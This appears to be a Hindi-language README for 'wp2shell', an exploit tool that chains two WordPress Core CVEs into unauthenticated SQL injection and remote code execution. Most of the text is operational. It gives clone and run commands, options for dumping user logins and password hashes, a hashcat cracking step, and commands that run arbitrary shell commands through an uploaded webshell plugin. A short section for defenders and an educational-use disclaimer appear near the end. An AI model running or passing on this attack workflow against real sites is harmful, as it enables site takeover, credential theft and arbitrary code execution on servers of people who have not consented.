
WordPress Core में अनप्रमाणित रिमोट कोड निष्पादन (RCE) हमलावरों को CVE-2026-63030 और CVE-2026-60137 को श्रृंखलाबद्ध करके लॉग इन किए बिना मनमाना कोड निष्पादित करने की अनुमति देता है, जिससे संभावित रूप से पूरी साइट से समझौता हो सकता है।
वर्डप्रेस कोर POC के लिए बिना प्रमाणीकरण के रिमोट कोड निष्पादन (CVE-2026-63030 + CVE-2026-60137)
wp2shell वर्डप्रेस कोर में महत्वपूर्ण भेद्यता श्रृंखला के लिए एक्सप्लॉइट है। यह REST API बैच रूट कन्फ्यूजन बग को WP_Query में SQL इंजेक्शन के साथ जोड़कर संवेदनशील वर्डप्रेस इंस्टॉलेशन पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त करता है।
| Detail | Info |
|---|---|
| CVEs | CVE-2026-63030 (REST बैच रूट कन्फ्यूजन) + CVE-2026-60137 (author__not_in SQLi) |
| Affected | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Patched | 6.9.5, 7.0.2 |
| Auth Required | कोई नहीं — बिना प्रमाणीकरण |
| CVSS | क्रिटिकल (RCE श्रृंखला) |
| Discovered By | Adam Kues (Assetnote / Searchlight Cyber) |
| Dependencies | Python 3.8+ — केवल मानक लाइब्रेरी |
एक्सप्लॉइट वर्डप्रेस कोर के दो बगों को जोड़ता है:
CVE-2026-60137 — SQL इंजेक्शन – जब author__not_in को ऐरे के बजाय स्ट्रिंग के रूप में पास किया जाता है, तो वर्डप्रेस is_array() सैनिटाइज़ेशन गार्ड को छोड़ देता है और कच्चे मान को NOT IN (...) SQL क्लॉज में इंटरपोलेट कर देता है।
CVE-2026-63030 — बैच रूट कन्फ्यूजन – /wp-json/batch/v1 एंडपॉइंट समानांतर $matches और $validation ऐरे बनाता है। एक गलत सब-रिक्वेस्ट $validation में जोड़ दी जाती है लेकिन $matches में नहीं, जिससे +1 इंडेक्स शिफ्ट हो जाता है। सब-रिक्वेस्ट i को सब-रिक्वेस्ट i+1 के हैंडलर के साथ डिस्पैच किया जाता है।
एक साथ जोड़े जाने पर: एक POST /wp/v2/posts रिक्वेस्ट जिसमें author_exclude स्ट्रिंग के साथ एक आंतरिक GET /wp/v2/users रिक्वेस्ट होती है, मेथड अनुमति-सूची और इनपुट सैनिटाइज़ेशन दोनों को बायपास कर देती है। स्ट्रिंग WP_Query तक author__not_in के रूप में पहुँचती है और SQL में इंटरपोलेट हो जाती है — जिससे आपको बिना प्रमाणीकरण के ब्लाइंड SQL इंजेक्शन मिलता है।
वहाँ से, टूल यह कर सकता है:
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
बस इतना ही। किसी तृतीय-पक्ष पैकेज की आवश्यकता नहीं है।
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
सभी कार्यक्षमताओं के साथ एक इंटरैक्टिव मेनू लॉन्च करता है, जो क्रमांकित विकल्पों के माध्यम से उपलब्ध है।
check — भेद्यता की पुष्टि करें (सुरक्षित)शोषण-क्षमता की पुष्टि करने के लिए समय-विलंब जांच करता है। कोई डेटा नहीं पढ़ता और कुछ भी नहीं बदलता।
./wp2shell.py http://target.com check
read — डेटा निकालें (ब्लाइंड SQL इंजेक्शन)समय-आधारित ब्लाइंड SQL इंजेक्शन का उपयोग करके डेटाबेस से जानकारी निकालता है।
# सर्वर फिंगरप्रिंट (संस्करण, डेटाबेस, उपयोगकर्ता)
./wp2shell.py http://target.com read
# उपयोगकर्ता लॉगिन और पासवर्ड हैश निकालें
./wp2shell.py http://target.com read --users
# डेटाबेस का नाम निकालें
./wp2shell.py http://target.com read --database
# MySQL संस्करण निकालें
./wp2shell.py http://target.com read --version
# कस्टम SQL क्वेरी
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — रिमोट कोड निष्पादनमान्य एडमिनिस्ट्रेटर क्रेडेंशियल आवश्यक हैं। SQL इंजेक्शन पासवर्ड हैश को पुनर्प्राप्त कर सकता है, लेकिन आपको पुनर्प्राप्त प्लेनटेक्स्ट पासवर्ड प्रदान करना होगा।
# एकल कमांड निष्पादित करें
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# एकल कमांड निष्पादित करें (संक्षिप्त रूप)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. जाँचें कि क्या लक्ष्य संवेदनशील है
./wp2shell.py https://example.com check
# 2. एडमिन पासवर्ड हैश निकालें
./wp2shell.py https://example.com read --users
# 3. हैश को ऑफ़लाइन क्रैक करें (hashcat, john, आदि का उपयोग करके)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. पुनर्प्राप्त पासवर्ड के साथ एक कमांड निष्पादित करें
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Branch | Affected | Fixed |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (केवल SQLi, कोई RCE नहीं) | 6.8.6 |
6.9.0 से पहले के संस्करण पूर्ण RCE श्रृंखला से प्रभावित नहीं हैं।
रक्षकों के लिए:
requests बॉडी वाली POST /wp-json/batch/v1 रिक्वेस्ट के लिए निगरानी रखें404 का मतलब हमेशा "पैच किया गया" नहीं होता — इसका मतलब यह भी हो सकता है कि कोई WAF/CDN अनाम REST API एक्सेस को ब्लॉक कर रहा हैयह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
| Feature | Description |
|---|
| Vulnerability Check | सुरक्षित समय-विलंब जांच — कोई डेटा नहीं पढ़ती, कुछ भी नहीं बदलती |
| Data Extraction | कुशल निष्कर्षण के लिए बाइनरी-सर्च ऑप्टिमाइज़ेशन के साथ ब्लाइंड SQL इंजेक्शन |
| User Hash Dump | wp_users से user_login और user_pass हैश निकालना |
| Remote Code Execution | एडमिन के रूप में प्रमाणीकरण, वेबशेल प्लगइन अपलोड, कमांड निष्पादित करना |
| Interactive Shell | निरंतर कमांड निष्पादन सत्र |
| Colour Output | स्कैन परिणामों के लिए स्पष्ट दृश्य प्रतिक्रिया |
| No Dependencies | केवल Python की मानक लाइब्रेरी का उपयोग करता है |
| Option | Description |
|---|
--users | wp_users से user_login और user_pass निकालें |
--database | वर्तमान डेटाबेस का नाम निकालें |
--version | MySQL संस्करण निकालें |
--query "SQL" | कस्टम SQL क्वेरी निष्पादित करें (ब्लाइंड निष्कर्षण) |
--user USER | RCE के लिए एडमिन उपयोगकर्ता नाम |
--password PASS | RCE के लिए एडमिन पासवर्ड (प्लेनटेक्स्ट, SQLi के माध्यम से पुनर्प्राप्त) |
--cmd CMD | वेबशेल के माध्यम से निष्पादित करने के लिए कमांड |